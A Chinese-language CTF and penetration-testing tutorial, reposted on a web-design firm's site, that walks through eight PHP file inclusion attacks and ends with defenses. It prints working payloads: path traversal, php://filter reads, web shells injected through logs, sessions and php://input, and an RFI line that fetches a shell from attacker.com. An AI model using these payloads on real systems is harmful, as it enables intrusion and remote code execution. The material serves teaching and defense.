尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

文件包含漏洞攻防:从LFI到RFI的八种渗透方法与防御实践

文件包含漏洞攻防:从LFI到RFI的八种渗透方法与防御实践
📅 发布时间:2026/6/24 4:33:15

1. 项目概述:从一道CTF题看文件包含漏洞的攻防博弈

最近在带新人打CTF靶场,特别是PTE(Penetration Testing Engineer)方向的题目时,发现“文件包含”这个老生常谈的漏洞,依然是很多人的拦路虎。题目往往只给一个简单的入口点,比如一个带file参数的URL,但背后的利用手法却可以千变万化。我遇到过一个典型的场景,题目就叫“文件包含8”,暗示有八种不同的渗透方法。这不仅仅是一道题,更像是一个关于文件包含漏洞的“兵器谱”演练。对于Web安全初学者或是想巩固基础的从业者来说,彻底吃透这八种方法,就等于掌握了文件包含漏洞从基础到进阶的核心攻击面。这篇文章,我就结合自己多年渗透测试和CTF解题的经验,把这八种方法的原理、实操、绕过技巧和防御思路,掰开揉碎了讲清楚。无论你是正在备赛的CTF选手,还是希望深入理解漏洞原理的安全工程师,都能从这里获得可以直接“抄作业”的实战指南。

2. 文件包含漏洞核心原理与分类

在深入那八种方法之前,我们必须把地基打牢。文件包含漏洞,本质上是一种“信任滥用”。程序的本意是好的,它希望拥有一种灵活的机制,能够动态地将不同的代码文件(如头部、尾部、配置模块)引入到当前脚本中执行,从而提高代码的复用性。在PHP中,这通常通过include、require、include_once、require_once这类函数来实现。

漏洞的产生,就在于这个“动态引入”的路径参数,被我们用户所控制。想象一下,程序员写了一句include($_GET['page'] . '.php');,他的预期是用户会传入home、about这样的值,最终引入home.php文件。但如果这个$_GET['page']没有经过严格的过滤和校验,攻击者就可以传入诸如../../etc/passwd或http://evil.com/shell.txt这样的路径。这时,程序“信任”了用户的输入,去包含了一个非预期的文件,漏洞就产生了。

根据包含文件的位置,我们通常分为两类:

  1. 本地文件包含(LFI, Local File Inclusion):包含的是服务器本地的文件。这是最基础的形式,利用它可以读取服务器上的敏感文件,如配置文件、日志、源代码等。
  2. 远程文件包含(RFI, Remote File Inclusion):包含的是远程服务器(攻击者控制)上的文件。这通常需要allow_url_include配置为On(默认是Off),利用条件更为苛刻,但危害也更大,因为它可以直接导致远程代码执行(RCE)。

而CTF题目中的“文件包含8”,就是围绕这两种基本类型,在各种限制条件下(比如有过滤、有后缀拼接、有目录限制)的八种典型突破姿势。理解原理后,我们再看这些姿势,就会清晰很多。

2.1 为什么文件包含危害巨大?

它往往是一个关键的“突破口”和“跳板”。单独一个LFI,可能只能读到一些信息。但在渗透测试的链条中,它至关重要:

  • 信息收集:读取/etc/passwd了解用户,读取\proc\self\environ获取环境变量(可能含密钥),读取Web应用配置文件(如config.php)获取数据库密码。
  • 获取Shell的桥梁:通过包含日志文件(如/var/log/apache2/access.log),并在User-Agent或请求参数中注入PHP代码,让日志文件变成“马”,进而执行。
  • 配合其他漏洞:与上传漏洞结合,上传一个图片马,然后通过文件包含来执行图片中的代码。
  • 直接RCE:在RFI条件下,直接包含远程的PHP Shell脚本。

所以,攻克文件包含,是Web渗透测试中不可或缺的一环。

3. 八种渗透方法深度拆解与实战

下面,我们进入核心部分。我将这八种方法归纳为三个层次:基础读取层、过滤绕过层和高级利用层。每种方法我都会说明其适用场景、核心原理、具体Payload,并附上我实战中踩过的坑和技巧。

3.1 基础读取层:利用绝对与相对路径

这是最直白的方法,用于简单的LFI场景。

方法一:绝对路径直接读取

  • 场景:目标服务器路径已知或可猜测,且没有任何目录遍历过滤。
  • Payload:?file=/etc/passwd
  • 实操与解释:直接使用Linux/Windows系统的绝对路径。在CTF中,常见的flag可能就在根目录(/flag)、家目录(/home/ctf/flag)或当前目录(./flag)。Windows下可能是C:\Windows\System32\drivers\etc\hosts。
  • 心得:首先尝试这个。如果成功,说明漏洞非常“裸”。可以用它来读取Web服务器的配置文件(如/etc/apache2/sites-available/000-default.conf),寻找其他虚拟主机或路径线索。

方法二:相对路径与目录遍历(../)

  • 场景:程序设置了基础包含目录,但我们可以通过../回溯到上级目录。
  • Payload:?file=../../../../etc/passwd
  • 实操与解释:这是LFI的经典姿势。../代表上一级目录。你需要判断当前脚本所在位置,并估算到目标文件的层级。例如,如果脚本在/var/www/html/index.php,要读取/etc/passwd,可能需要../../../../etc/passwd(从html到www,到var,到根目录)。
  • 踩坑记录:
    • 编码绕过:如果程序过滤了../,可以尝试URL编码、双重URL编码甚至Unicode编码。例如..%2f(/的URL编码)、..%252f(双重编码)、..%c0%af(某些Unicode绕过)。
    • 绝对路径失效时:当程序使用chdir或open_basedir限制了目录,相对路径遍历可能依然有效。

注意:在Windows系统中,路径分隔符是\,但多数情况下也可以使用/。目录遍历符是..\。有时也可以尝试....//或....\/这类变形来绕过简单的字符串过滤。

3.2 过滤绕过层:应对常见防御手段

CTF和真实环境中,开发者不会坐以待毙,他们会增加过滤。这时就需要一些技巧。

方法三:利用PHP封装协议(php://filter)

  • 场景:这是最常用、最强大的LFI利用技术,即使不能直接执行代码,也能读取源代码。它通常不受allow_url_include限制。
  • 核心原理:php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。我们可以用它来对目标文件进行base64编码读取,从而绕过一些显示限制或获取文件源码。
  • Payload(读取源码):?file=php://filter/convert.base64-encode/resource=index.php
  • 实操与解释:这个Payload会让服务器先读取index.php的内容,然后经过base64-encode过滤器处理,最后输出。前端看到一堆base64字符串,解码后就能得到index.php的完整源代码。这对于审计代码、寻找其他漏洞(如数据库连接密码、其他包含点)至关重要。
  • 高级技巧:
    • 多重过滤器:可以链式使用过滤器,如php://filter/read=convert.base64-encode|convert.base64-encode/resource=index.php(双重编码,有时用于绕过某些过滤)。
    • 写入文件:结合php://input和POST数据,在某些配置下可以写入文件,但限制较多。

方法四:利用编码与截断技巧

  • 场景:程序在包含路径后,会自动添加后缀(如.php),或者对输入长度有限制。
  • 核心原理:
    1. %00截断(空字节截断):在PHP版本 < 5.3.4,且magic_quotes_gpc=Off时,%00(URL编码的空字符)会被认为是字符串结束符。例如?file=../../etc/passwd%00,即使后面被加上了.php,系统读到%00就停止,实际包含的还是/etc/passwd。
    2. 长路径截断:在Windows下,路径长度超过一定限制(如256字节)会被截断。可以构造?file=../../etc/passwd/././././././././././././././././././././././././././././.(重复很多次)来使后缀.php被挤掉。
  • 实操心得:%00截断是经典老招,但现在遇到的PHP环境大多已修复。长路径截断主要在Windows特定场景下。在CTF中,如果题目提示了PHP版本较老,一定要优先尝试%00截断。

方法五:利用日志文件包含(Log Poisoning)

  • 场景:无法直接RFI,也找不到其他可包含的用户文件,但可以读取服务器日志。
  • 核心原理:Web服务器(如Apache, Nginx)的访问日志会记录每一个请求,包括请求头(User-Agent, Referer等)。如果我们能在User-Agent或请求参数中插入一段PHP代码(如<?php system($_GET[‘c’]);?>),这段代码就会被原样写入日志文件。然后,我们利用LFI漏洞去包含这个日志文件,其中的PHP代码就会被执行。
  • 步骤:
    1. 探测日志路径:先通过LFI读取已知配置文件,猜测日志路径。常见路径:/var/log/apache2/access.log,/var/log/nginx/access.log,/var/log/httpd/access_log。
    2. 投毒:用Burp Suite或Curl发送一个请求,将恶意代码放在User-Agent里。User-Agent: <?php system($_GET[‘cmd’]);?>
    3. 包含执行:?file=/var/log/apache2/access.log&cmd=id
  • 踩坑记录:
    • 日志文件可能很大,包含会导致超时或内存耗尽。可以尝试包含错误日志(error.log),通常更小。
    • 日志中的特殊字符(如<,>,?,空格)可能会被转义或编码,导致代码无法正常解析。需要测试哪种注入位置(User-Agent, Referer, GET参数)最稳定。有时需要URL编码<?php为%3C%3Fphp。
    • 确保Web进程对日志文件有读取权限。

3.3 高级利用层:通向RCE与深度利用

这些方法往往能直接获取服务器权限或进行深度利用。

方法六:远程文件包含(RFI)

  • 场景:allow_url_include=On(可通过phpinfo()页面确认)。这是通向RCE最直接的路径。
  • Payload:?file=http://attacker.com/shell.txt
  • 实操与解释:在攻击者控制的服务器(attacker.com)上,放置一个纯文本文件shell.txt,内容为<?php eval($_POST[‘a’]);?>。当目标服务器包含这个URL时,会下载该文件内容并将其作为PHP代码执行,攻击者便可以用中国菜刀/蚁剑等工具连接?file=http://attacker.com/shell.txt&a=system(‘id’);来执行命令。
  • 关键点:
    • 需要目标PHP配置允许包含HTTP/HTTPS URL。
    • 远程文件的内容必须不能包含任何HTML或PHP标签之外的字符,否则可能导致执行失败。最好就是一个干净的PHP Shell。
    • 如果目标服务器无法出网(无外网连接),则RFI失效。

方法七:利用PHP内置临时文件(php://input)

  • 场景:allow_url_include=On且allow_url_fopen=On,但无法进行RFI(例如服务器禁用了HTTP包装器)。
  • 核心原理:php://input是一个只读的数据流,可以访问请求的原始数据(即POST过来的数据)。我们可以通过POST请求,将PHP代码直接发送给这个流,然后包含它。
  • Payload与步骤:
    1. 发送一个POST请求。
    2. 请求URL:?file=php://input
    3. 请求体(Body):<?php system(‘whoami’);?>
  • 实操心得:这个方法非常直接有效。在Burp Suite中操作极其方便。但同样受配置限制,且要求请求方式是POST。

方法八:利用Session文件包含

  • 场景:非常隐蔽的一种方式,适用于可以控制部分Session内容且知道Session文件存储路径的情况。
  • 核心原理:PHP会将Session数据存储在服务器的一个文件中(如/tmp/sess_[sessionid])。如果我们可以向Session中写入数据(例如通过一个设置$_SESSION[‘name’]的页面),并且这个数据我们部分可控,那么我们就可以将恶意代码写入Session文件,然后通过LFI包含这个Session文件。
  • 步骤:
    1. 获取Session ID:通过Cookie中的PHPSESSID获取。
    2. 猜测Session路径:默认是/tmp/sess_PHPSESSID。也可以通过phpinfo()中的session.save_path查看。
    3. 污染Session:找到一个能设置Session变量的功能点,比如用户昵称、邮箱。将昵称设置为<?php system($_GET[‘c’]);?>。
    4. 包含Session文件:?file=/tmp/sess_abc123def456(其中abc123def456是你的PHPSESSID)。
  • 难点与技巧:
    • 需要有一个能写入Session的地方,并且写入的内容会原样保存(不过滤< > ?)。
    • Session文件的内容格式通常是变量名|序列化值。我们的恶意代码需要能够被正确解析。有时需要闭合前后的序列化字符串,比较复杂。
    • 这是一种“旁路”攻击,在CTF中常与其他漏洞(如反序列化)结合出现。

4. 实战融合:CTF-PTE文件包含8解题思路推演

假设我们拿到一个名为“文件包含8”的题目,入口是http://target/vuln.php?file=hello。页面回显了“Hello”字样,可能引入了hello.php。

我们的系统化攻击流程如下:

  1. 信息收集:

    • 访问vuln.php?file=php://filter/convert.base64-encode/resource=vuln.php,获取漏洞点源代码,分析过滤逻辑。
    • 访问phpinfo.php(如果存在),查看allow_url_include,allow_url_fopen,open_basedir,session.save_path等关键配置。
    • 尝试读取/etc/passwd、/proc/self/environ(环境变量,可能包含路径信息)、Web服务器配置文件。
  2. 基础探测:

    • ?file=../../../../etc/passwd(目录遍历)
    • ?file=/etc/passwd(绝对路径)
    • 观察是否有后缀追加,如访问?file=test是否返回test.php的内容。如果是,考虑截断。
  3. 过滤测试:

    • 如果发现过滤了../,尝试..%2f、..%252f、....//。
    • 如果过滤了php://,尝试大小写混写PHP://或Php://(某些简单过滤不区分大小写)。
    • 如果过滤了http://,尝试HTTP://、HtTp://或者使用其他协议如ftp://、expect://(需扩展支持)。
  4. 进阶利用:

    • 如果可RFI:立刻准备一个远程Shell脚本,尝试包含。
    • 如果可读日志:尝试包含/var/log/apache2/access.log,并在User-Agent中投毒。
    • 如果可控制Session:寻找用户可控点(如更新资料),污染Session后包含。
    • 如果存在上传点:上传一个图片马(内容为<?php eval($_POST[‘a’]);?>),然后通过文件包含漏洞执行这个图片文件。
  5. 获取Flag:

    • 通过上述任意一种方法获取RCE权限后,使用命令查找flag。常见命令:
      • find / -name “*flag*” 2>/dev/null
      • find / -type f -exec grep -l “flag{“ {} \; 2>/dev/null
      • cat /flagcat /home/ctf/flagcat /flag.txt

5. 防御视角:如何避免文件包含漏洞

作为开发者,理解攻击手法是为了更好地防御。以下是一些核心原则:

  1. 白名单校验:这是最有效的方法。不要使用用户输入直接作为包含路径。应该维护一个允许包含的文件名白名单(如[‘home.php’, ‘about.php’, ‘contact.php’]),用户传入的参数只作为索引或映射值。

    $allowed_pages = [‘home’ => ‘home.php’, ‘about’ => ‘about.php’]; $page = $_GET[‘page’]; if (array_key_exists($page, $allowed_pages)) { include($allowed_pages[$page]); } else { include(‘default.php’); }
  2. 固定目录+后缀:如果必须动态包含,应将文件限制在某个特定目录下,并强制添加后缀。

    $base_dir = ‘/var/www/html/includes/’; $file = basename($_GET[‘file’]); // 使用 basename 去除路径 include($base_dir . $file . ‘.php’);
  3. 禁用危险配置:在php.ini中,确保:

    • allow_url_fopen = Off
    • allow_url_include = Off
    • 设置open_basedir将PHP可操作的文件限制在Web目录所需的最小范围内。
  4. 过滤输入:虽然不如白名单可靠,但仍需进行。过滤../、..\、php://、http://等危险字符串。注意使用递归过滤或正则表达式确保彻底。

  5. 使用安全的函数:考虑使用file_get_contents()读取非PHP文件内容进行显示,而不是include。或者使用模板引擎。

文件包含漏洞的攻防是一场关于“信任”和“控制”的博弈。对于攻击者,目标是不断扩大可控输入的影响范围;对于防御者,目标是将其牢牢锁死在预期的牢笼里。掌握这八种方法,不仅仅是记住了八个Payload,更是理解了在不同限制条件下,如何灵活运用系统特性、协议和程序逻辑来达成目标。在真实的渗透测试或CTF比赛中,往往需要将多种方法组合、串联,并辅以耐心的信息收集和不断的测试尝试。希望这篇近万字的拆解,能成为你武器库中一件称手的兵器。最后记住,在合法授权的范围内进行所有测试,并将这些知识用于加固系统,而非破坏。

相关新闻

  • 2000-2024年地级市碳不平等指标
  • GitHub中文界面终极指南:5分钟告别英文困扰,轻松掌握代码管理
  • Playwright与Appium融合:构建跨平台UI自动化测试框架实战

最新新闻

  • 【AI应用实战-WorkBuddy】效率翻倍:我的 WorkBuddy 工作流分享(十八)
  • 【模块实现 03】ImGui 游戏内菜单:DX12 渲染路径的完整落地
  • 呆啵宠物DyberPet:让二次元角色活在你的桌面,打造专属数字伙伴的终极指南
  • linux系统编程(一):pthread常用函数
  • 建筑石材选型的数据分析:用pandas对比8类石材性能
  • 别再找 Prompt 模板了:提示词的本质,是你和 AI 的任务契约

日新闻

  • 终极指南:如何用shadPS4在电脑上免费畅玩PS4游戏
  • 打造个性化Instagram Clone:主题定制与用户体验优化技巧
  • 未来展望:RoseTTAFold-All-Atom的发展路线图与社区支持资源汇总

周新闻

  • Visual C++运行库修复终极指南:5分钟快速解决Windows软件启动错误
  • 手把手教你构建统计局地区经济数据爬虫:从环境搭建到数据持久化全指南
  • 2026多Agent深度解析:用AI团队替代单一模型,四种架构实战落地

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号